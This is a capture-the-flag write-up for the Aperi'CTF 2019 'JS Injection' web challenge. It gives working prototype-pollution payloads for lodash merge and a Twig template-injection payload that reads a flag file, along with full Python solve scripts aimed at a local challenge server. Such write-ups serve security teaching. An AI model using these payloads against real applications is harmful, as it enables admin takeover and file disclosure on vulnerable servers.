Aperi’CTF 2019 - JS Injection
Challenge details
Event | Challenge | Category | Points | Solves |
---|---|---|---|---|
Aperi’CTF 2019 | JS Injection - Part 1 | Web | 175 | 5 |
Aperi’CTF 2019 | JS Injection - Part 2 | Web | 200 | 5 |
The application sources are available here.
TL;DR
This challenged is mainly based on a vulnerability present in the JS language : Prototype Pollution
The first part goal is to obtain Admin rights by replacing his hash by yours.
For the second part, you need to read “flag2.txt” by performing Template injection in Twig and eventually another prototype pollution.
First Part : Getting Admin rights
In Javascript, you can perform Prototype pollution by sending a crafted JS Object. If you modify the __proto__
and the program merge recursively another object with it, you can add crafted field to all object.
Many libraries already patched this issue, here we will focus on lodash
before 4.17.11
.
asgerf published a PoC of this vulnerability on HackerOne :
var _ = require('lodash');
var payload = JSON.parse('{"constructor": {"prototype": {"isAdmin": true}}}');
_.merge({}, payload);
console.log({}.isAdmin); // true
In this case, all objects created will have the attribute isAdmin
set to true
So, how does it help us in our challenge ?
Here is the mechanism that checks if you are admin :
sha256_handler = crypto.createHash('sha256')
sha256_handler.update(_.capitalize(req.cookies.password), 'utf8')
hash = sha256_handler.digest().toString('hex')
admin_hash = (config.admin_hash == undefined)? "2f37fb5343e824cc3274cfefcc8d4104b3083aec97051e0e9550f8f9aa3aa319" : config.admin_hash
if(hash == admin_hash) {
res.sendFile(__dirname +"/flag1.txt")
} else {
res.send("Not the good pass bro :/")
}
You can see that an hard coded hash is used if config.admin_hash
doesn’t exist. Moreover, config.admin_hash
is not currently set / defined.
var config = {
host : process.env.APP_HOST || '127.0.0.1',
port : process.env.APP_PORT || '3000'
}
Last but not least, the program uses the merge()
function of lodash
when creating a note.
list_notes.push(_.merge({date: Date.now()},current_note))
So, we need to :
- Create a note with a prototype that sets
admin_hash
to a known hash - Go on the
/getFlag
page with the corresponding cookie
Here is a valid solution :
import requests
import hashlib
scheme = 'http'
ip = "127.0.0.1"
port = 3000
clear = b'THEGAME'
sha256 = hashlib.sha256(clear).hexdigest()
out = requests.post(f'{scheme}://{ip}:{port}/createNote',
json={
'__proto__':
{ 'admin_hash': sha256 },
'user' : 'Areizen',
'message' : 'injection'
}).text
print(out)
out = requests.get(f'{scheme}://{ip}:{port}/getFlag',cookies={ 'password' : clear.decode('utf8')}).text
print(out)
Flag : APRK{WelcomeToAPollutedPlace}
Second Part: Exploiting Twig
For the second part, there is a Template Injection here :
app.get('/',function(req,res){
index = fs.readFileSync(__dirname + '/index.twig').toString('utf8')
index = index.replace("--TITLE--",infos.title)
index = index.replace("--SCRIPT--",infos.js)
index = index.replace("--CSS--",infos.css)
var template = twig({
data: index
});
res.send(template.render())
})
And once again infos.title
is not set :
var infos = {
js : "js/script.js",
css : "css/style.css",
}
By creating a note with the following payload we can control infos.title
:
{
'__proto__' : { 'title' : 'INJECTION HERE' },
'user' : 'Areizen',
'message' : 'exploit2'
}
Now we need to find a way to get a shell to read flag2.txt
or read it trough Twig ( I couldn’t find a way to obtain a shell since the globals are not accessible from Twig unless you pass it as data ).
So I injected this :
{
'__proto__' : { 'title' : '{% extends 'flag2.txt' %}' },
'user' : 'Areizen',
'message' : 'exploit2'
}
but got the following error :
TwigException: Cannot extend an inline template.
After a quick search on Github issues I found this :
// I had to do it like this:
var html = twig
.twig({
allowInlineIncludes: true,
path: 'template.twig'
})
.render(data);
Ok Twig needs to have allowIncludes
parameter to true
but in our case :
var template = twig({
data: index
});
Why don’t we use Prototype Pollution to add this parameter? :D
{
'__proto__' : {
'title' : '{% extends 'flag2.txt' %}',
'allowInlineIncludes' : true
},
'user' : 'Areizen',
'message' : 'exploit2'
}
Here’s the final solving script :
import requests
import hashlib
scheme = 'http'
ip = "127.0.0.1"
port = 3000
clear = b'THEGAME'
sha256 = hashlib.sha256(clear).hexdigest()
out = requests.post(f'{scheme}://{ip}:{port}/createNote',
json={
'__proto__':
{ 'admin_hash': sha256 },
'user' : 'Areizen',
'message' : 'injection'
}).text
print(out)
out = requests.get(f'{scheme}://{ip}:{port}/getFlag',cookies={ 'password' : clear.decode('utf8')}).text
print(out)
payload = '{% extends "flag2.txt" %}'
out = requests.post(f'{scheme}://{ip}:{port}/createNote',
json={
'__proto__':
{ 'title': payload, 'allowInlineIncludes':True },
'user' : 'Areizen',
'message' : 'injection'
}).text
print(out)
out = requests.get(f'{scheme}://{ip}:{port}/').text
print(out)
Flag 2 : APRK{twigpollutioninjectionftw!!}
Creased got the flag2 by another payload :
{
'__proto__' : {
'title' : '{{source('flag2.txt')}}'
},
'user' : 'Creased',
'message' : 'exploit2'
}
( source()
is not documented in twig.js
but in Symphony’s Twig
)